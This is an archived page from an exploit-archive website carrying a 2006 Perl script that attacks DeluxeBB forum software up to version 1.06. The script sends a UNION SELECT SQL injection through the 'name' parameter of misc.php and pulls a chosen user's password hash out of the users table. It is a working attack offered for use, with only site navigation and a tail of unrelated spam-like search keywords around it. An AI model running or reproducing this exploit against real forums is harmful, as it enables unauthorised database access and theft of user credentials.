about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , DeluxeBB <= 1.06 (name) Remote SQL Injection Exploit (mq=off)




2006-05-15 DeluxeBB <= 1.06 (name) Remote SQL Injection Exploit (mq=off)
Rated as : Moderate Risk

#!/usr/bin/perl

use IO::Socket;


print q{
#############################################
# DeluxeBB 1.06 Remote SQL Injection Exploit#
# 	exploit discovered and coded        #
#	   by KingOfSka                     #
#	http://contropotere.netsons.org	    #
#############################################
};

if (!$ARGV[2]) {

print q{ 
	Usage: perl dbbxpl.pl host /directory/ victim_userid 
  
       perl dbbxpl.pl www.somesite.com /forum/ 1


};

}


$server = $ARGV[0];
$dir    = $ARGV[1];
$user   = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid   = $ARGV[5];

print
"------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print
"------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path  = $dir;
$path .=
"misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user
;

 
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr
=> "$server", PeerPort => "80") || die "[-]
CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";



print "--[ REPORT
]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{

 if ($answer =~/(\w{32})/)
{

  if ($1 ne 0) {
   print "Password Hash is: ".$1."\r\n";
print
"--------------------------------------------------------------------------------------\r\n";

      }
exit();
}

}
print
"------------------------------------------------------------------------------------------------\r\n";
securitydot.net - 2006-05-15

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 00:39:37 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
port 1025 www.dunia3 www.bu12.c Blow ip+board+2 tyujg WWW SANIYA Www.bluefl www.tcjob. era www.lianme verynicevi wwsexo.com FRONTPAGE www.lexsen mngbw.com www.lexsen artis www.tcjob. Crack+D/r/ DivX Web P xxxpleboy rock lee maxcpm.inf www.aiquan www.17pk.c formmail news for c P...p.html Man+and+gi norton 200 SSH-1.5-Ci porn pics redhat lin aksi seks t704t Www.aishwa t153t sexs.arabe SMF 1.0.8. 94tao.com rsgallery. p...ess.in Apache SSL rj120.com www.jnding Nanthara s iiqenavoci roro senos